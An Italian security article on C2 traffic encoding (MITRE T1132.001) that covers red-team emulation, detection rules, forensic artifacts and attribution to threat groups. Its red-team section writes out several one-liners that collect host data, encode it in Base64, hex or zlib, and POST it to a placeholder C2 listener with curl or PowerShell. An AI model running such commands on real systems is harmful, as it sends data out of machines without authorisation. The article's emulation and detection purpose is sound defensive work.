Encoding nel Canale C2: Standard Encoding (T1132.001)

Il valore di questa tecnica in un esercizio red team non è la complessità — codificare in Base64 è banale — ma la capacità di dimostrare al blue team che il traffico C2 può attraversare i loro controlli senza generare un singolo alert. L'obiettivo del test è verificare se le soluzioni di ispezione del traffico rilevano payload codificati dentro protocolli leciti.

Il primo scenario da replicare è il C2 over HTTP con payload Base64. Su una macchina Linux controllata, genera un beacon simulato che codifica l'output di un comando e lo invia come corpo di una POST:

echo $(whoami; id; hostname) | base64 | curl -s -X POST -d @- <indirizzo-listener-C2>

Lato Windows, PowerShell offre la stessa funzionalità in modo nativo. Il parametro -EncodedCommand accetta direttamente una stringa Base64 contenente il comando da eseguire, ed è esattamente il pattern che malware come POWERSTATS e PowerShower adottano in produzione:

$data = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes((Get-Process | Out-String))); Invoke-WebRequest -Uri <indirizzo-listener-C2> -Method POST -Body $data

Per testare varianti meno comuni, vale la pena provare la codifica esadecimale — usata da OopsIE, DarkWatchman e Ebury — con xxd:

echo "dati sensibili simulati" | xxd -p | tr -d '\n' | curl -s -X POST -d @- <indirizzo-listener-C2>

Un terzo scenario coinvolge certutil su Windows, lo stesso approccio documentato per BabyShark:

certutil -encode input.bin output.b64

Il file risultante può poi essere trasmesso via HTTP. Certutil è un LOLBin classico: è firmato Microsoft, presente su ogni installazione Windows e raramente bloccato.

Per chi vuole un ambiente C2 completo, Cobalt Strike (a pagamento) e Sliver (open source) supportano nativamente la codifica Base64 e hex-to-ASCII nel canale C2. Sliver in particolare consente di scegliere il formato di encoding del payload direttamente in fase di generazione dell'impianto, il che lo rende ideale per test controllati.

Un esercizio avanzato prevede di combinare encoding e compressione, replicando il comportamento di gh0st RAT e RotaJakiro che usano zlib prima di trasmettere:

python3 -c "import zlib,base64,sys; sys.stdout.buffer.write(base64.b64encode(zlib.compress(open('dati.bin','rb').read())))" | curl -s -X POST -d @- <indirizzo-listener-C2>

Documentate sempre quale combinazione di encoding supera i controlli e quale viene bloccata: è il deliverable che il CISO vuole vedere.

Rilevare Base64 nel traffico di rete è facile. Rilevarlo solo quando è malevolo è tutt'altra storia. Ogni browser moderno, ogni client di posta, ogni agente di backup genera traffico con porzioni codificate in Base64. La sfida è costruire regole che producano segnale utile senza sommergere gli analisti di falsi positivi.

La detection chain documentata (DET0124) si basa su un principio solido: correlare l'evento di codifica con l'evento di trasmissione. Un processo che invoca un encoder e poi, entro una finestra temporale di 10 minuti, genera traffico in uscita con rapporto bytes_out:bytes_in ≥ 4:1 e entropia Shannon del payload superiore a 4.5 è significativamente più sospetto di un singolo blob Base64 nei log.

Su Windows, le log source prioritarie sono quattro. Sysmon con EventCode 1 (Process Create) cattura le invocazioni di powershell.exe -enc, certutil -encode e processi .NET che istanziano Convert.ToBase64String. Il canale PowerShell Script Block Logging (EventCode 4104) rivela i contenuti decodificati degli script, incluse le stringhe Base64 più lunghe di 100 caratteri — la soglia suggerita per il tuning. I log di rete di Microsoft Defender for Endpoint (DeviceNetworkEvents) forniscono il contesto di egress. La correlazione tra questi eventi va costruita nel SIEM con una regola a due stadi: primo stadio identifica l'encoding, secondo stadio verifica l'egress asimmetrico.

Su Linux, auditd con regole sulle syscall execve monitora le invocazioni di base64, xxd -p, openssl enc -base64 e interpreti Python/Perl che importano moduli di codifica. Il flusso di rete si osserva con Zeek (open source) o con i flow log di NSM, cercando sessioni HTTP/DNS con payload ad alta entropia subito dopo l'esecuzione dell'encoder.

Su macOS, gli Unified Log e gli eventi EndpointSecurity catturano le stesse operazioni. Il tuning prevede una allowlist basata sui Developer ID firmati: tool di sviluppo come Xcode generano legittimamente traffico codificato.

Per ESXi — un target sempre più frequente — la shell BusyBox e OpenSSL sono i principali vettori di encoding. I flussi anomali vanno confrontati con i CIDR di management legittimi di vCenter e NSX: qualsiasi egress Base64 verso IP esterni a quei range è un indicatore ad alta fedeltà.

La mitigazione formale M1031 (Network Intrusion Prevention) resta valida come layer complementare: firme IDS/IPS basate su pattern specifici di encoding nei protocolli C2 noti possono bloccare il traffico a livello di rete, ma richiedono aggiornamento costante perché gli attaccanti modificano regolarmente le signature dei loro tool.

Quando il canale C2 usa encoding standard, la buona notizia è che gli artefatti sono decodificabili: a differenza della crittografia, Base64 e hex non richiedono chiavi. La cattiva notizia è che bisogna sapere dove cercarli.

Il primo artefatto da acquisire su Windows è la cronologia dei comandi PowerShell. Il file ConsoleHost_history.txt nel profilo utente conserva i comandi eseguiti in chiaro, incluse eventuali invocazioni di [Convert]::ToBase64String o pipe verso encoder. Se l'attaccante ha usato -EncodedCommand, il contenuto decodificato è recuperabile dai log di Script Block Logging (EventCode 4104) nel canale Microsoft-Windows-PowerShell/Operational. Ogni blocco registrato include il testo completo dello script dopo il decoding.

Il secondo elemento critico sono i log proxy e i PCAP. Il traffico C2 codificato in Base64 è spesso incapsulato in richieste HTTP POST — nel body, nei cookie (come fa Helminth) o nei parametri URL (come Stuxnet). Un'esportazione degli oggetti HTTP dal PCAP con Wireshark (open source) o l'analisi dei log di Zeek (open source) consente di estrarre i payload e decodificarli offline. Il comando:

echo "c3RyaW5nYSBkaSB0ZXN0" | base64 -d

è il punto di partenza, ma per varianti custom — come quelle documentate per ChChes, Daserf e Ixeshe che usano alfabeti Base64 modificati — servono script dedicati. CyberChef (open source, disponibile come webapp GCHQ) è lo strumento più versatile: supporta catene di decodifica drag-and-drop che riproducono esattamente la sequenza encoding + compressione + XOR usata da malware come Troll Stealer o Backdoor.Oldrea.

Su Linux, gli artefatti bash_history e i log di auditd con il campo a0/a1 delle syscall execve documentano le invocazioni degli encoder. Se il malware ha usato compressione zlib — come RotaJakiro, Solar o HOPLIGHT — il payload nel PCAP richiede decompressione prima del decoding.

Per ricostruire la timeline, l'analista deve allineare tre assi temporali: il timestamp dell'esecuzione dell'encoder (Sysmon EventCode 1 o auditd), il timestamp della connessione di rete (Sysmon EventCode 3 o Zeek conn.log), e il timestamp del payload nel proxy log. La correlazione per PID e per IP di destinazione lega i tre eventi in una catena causale che dimostra il flusso dal processo locale al server C2.

Un artefatto spesso trascurato è il Prefetch di Windows: se certutil.exe o powershell.exe compaiono con timestamp anomali (fuori orario lavorativo, da utenti non amministratori), è un indicatore che rafforza la timeline anche in assenza di log di rete.

L'encoding standard del traffico C2 è una tecnica trasversale: la usano gruppi statali sofisticati e operatori criminali commodity. Ma le scelte specifiche di encoding — quale schema, quale layer aggiuntivo, quale protocollo di trasporto — costituiscono impronte digitali utili per l'attribuzione.

Sandworm Team (G0034) impiega Base64 combinato con tag HTML nel traffico del tool BCS-server. Questo pattern è distintivo: l'embedding di dati codificati dentro strutture HTML è più raro del semplice Base64 in un body HTTP e suggerisce un'infrastruttura C2 progettata per mimetizzarsi con traffico web legittimo. La sovrapposizione con i software CORESHELL e JHUHUGIT — entrambi associati a questo gruppo e documentati con encoding Base64 — conferma una preferenza operativa stabile.

Lazarus Group (G0032) utilizza Base64 nei propri sample malware, e il suo ecosistema di tool include BLINDINGCAN, HOPLIGHT (che aggiunge compressione Zlib) e Torisma. La varietà di implementazioni suggerisce team di sviluppo paralleli che condividono lo stesso playbook C2 ma con implementazioni indipendenti. L'intelligence analyst dovrebbe tracciare quale variante di encoding appare in quale campagna per distinguere i sotto-cluster operativi.

MuddyWater (G0069) e APT33 (G0064) condividono la regione di operazione (Medio Oriente) e l'uso di Base64 per il canale C2. Il software POWERSTATS, associato a MuddyWater, e POWRUNER, legato ad APT33, sono entrambi basati su PowerShell con encoding Base64 — un pattern che rende difficile l'attribuzione su base puramente tecnica senza indicatori aggiuntivi. La campagna Juicy Mix (C0044), condotta da OilRig nel 2022 contro organizzazioni israeliane, mostra come l'encoding Base64 venga usato anche per dati semplici come il nome del computer compromesso trasmesso via VBS.

APT42 (G1044) si allinea a questo cluster mediorientale con l'uso di Base64 nel traffico C2, e i suoi tool TAMECAT e TAMECAT confermano la coerenza operativa. HAFNIUM (G0125) si distingue per la scelta di ASCII encoding — meno comune, più semplice — che riflette un approccio pragmatico alla comunicazione C2.

Il trend emergente è la stratificazione: gruppi come quelli dietro Troll Stealer e Backdoor.Oldrea combinano XOR o RSA con Base64, e malware come Pikabot abbina Base64 a crittografia simmetrica. L'encoding standard non è più l'unico layer, ma resta il layer esterno che normalizza il dato per il protocollo di trasporto. Per l'analista TI, monitorare le combinazioni specifiche di encoding + encryption + protocollo è più utile che cercare il singolo schema di codifica.

Framework MITRE ATT&CK v16 — Tecnica T1132.001, Tattica TA0011, Mitigazione M1031, Detection DET0124 (AN0345–AN0348), Campagna C0044 (Juicy Mix). Tool di detection: Sysmon, Zeek, Wireshark, CyberChef. Integrato con conoscenza professionale per tool e procedure operative.